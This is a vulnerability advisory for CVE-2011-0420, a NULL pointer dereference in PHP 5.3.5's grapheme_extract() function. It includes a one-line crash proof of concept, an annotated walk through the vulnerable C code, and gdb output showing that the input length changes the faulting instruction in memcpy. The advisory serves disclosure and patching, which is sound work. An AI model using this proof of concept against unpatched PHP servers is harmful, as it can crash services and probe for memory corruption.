PHP 5.3.5 grapheme_extract() NULL Pointer Dereference

[ PHP 5.3.5 grapheme_extract() NULL Pointer Dereference ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:

• Dis.: 09.12.2010
• Pub.: 17.02.2011

CVE: CVE-2011-0420
CERT: VU#210829

Affected Software:

• PHP 5.3.5

Fixed: SVN

Original URL:
http://securityreason.com/achievement_securityalert/94

— 0.Description —
Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling
PHP programmers to perform UCA-conformant collation and date/time/number/currency formatting in their
scripts.

grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer,
which must be encoded in UTF-8.

— 1. PoC for grapheme_extract() —
grapheme_extract('a',-1);

Change length of first parameter to change rip.

— 2. grapheme_extract() NULL Pointer Dereference —
As we can see in grapheme_extract(str,size)

-grapheme_extract()–
…
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char *)&str, &str_len, &size,
&extract_type, &lstart, &next) == FAILURE) { <=== str='a' and size='-1'
…
/ if the string is all ASCII up to size+1 - or str_len whichever is first - then we are done.
(size + 1 because the size-th character might be the beginning of a grapheme cluster)
*/

    if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 : str_len ) ) { <=== (

size=-1+1=0 ) ===
long nsize = ( size < str_len ? size : str_len ); <=== nsize = -1
if ( NULL != next ) {
ZVAL_LONG(next, start+nsize);
}
RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT
}
…
-grapheme_extract()–

if we call to grapheme_ascii_check(pstr,0) where

-grapheme_ascii_check()–
/* {{{ grapheme_ascii_check: ASCII check */
int grapheme_ascii_check(const unsigned char *day, int32_t len) <==== len=0
{
int ret_len = len;
while ( len-- ) {
if ( *day++ > 0x7f )
return -1;
}

    return ret_len; <=== return 0

}
-grapheme_ascii_check()–

then we get (int)0 in result and

long nsize = ( size < str_len ? size : str_len );

will be -1. Therefore,

            RETURN_STRINGL(((char *)pstr), nsize, 1);

give NULL pointer dereference here.

Changing length of first parameter of grapheme_extract(), we will also change rip in memcpy(3).

(gdb) r -r 'grapheme_extract('a',-1);'
…
(gdb) x/i $rip
=> 0x7ffff5511d99 <memcpy+777>: mov %rax,(%rdi)
(gdb) x/x $rax
0xf9891857a6e70f70: Cannot access memory at address 0xf9891857a6e70f70
(gdb) x/x $rdi
0x11b2000: Cannot access memory at address 0x11b2000
(gdb) r -r 'grapheme_extract('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',-1);'
…
(gdb) x/i $rip
=> 0x7ffff5511d77 <memcpy+743>: mov 0x18(%rsi),%r10
(gdb) x/x $rsi
0x11b1fe8: 0x00000000

— 3. Fix —
CVS
http://svn.php.net/viewvc?view=revision&amp;revision=306449

— 4. Greets —
Pierre, Stas, sp3x, infospec

— 5. Contact —
Author: Maksymilian Arciemowicz [ SecurityReason.com ]

Email:

• cxib {a\./t]securityreason[d=t} com

GPG:

• http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
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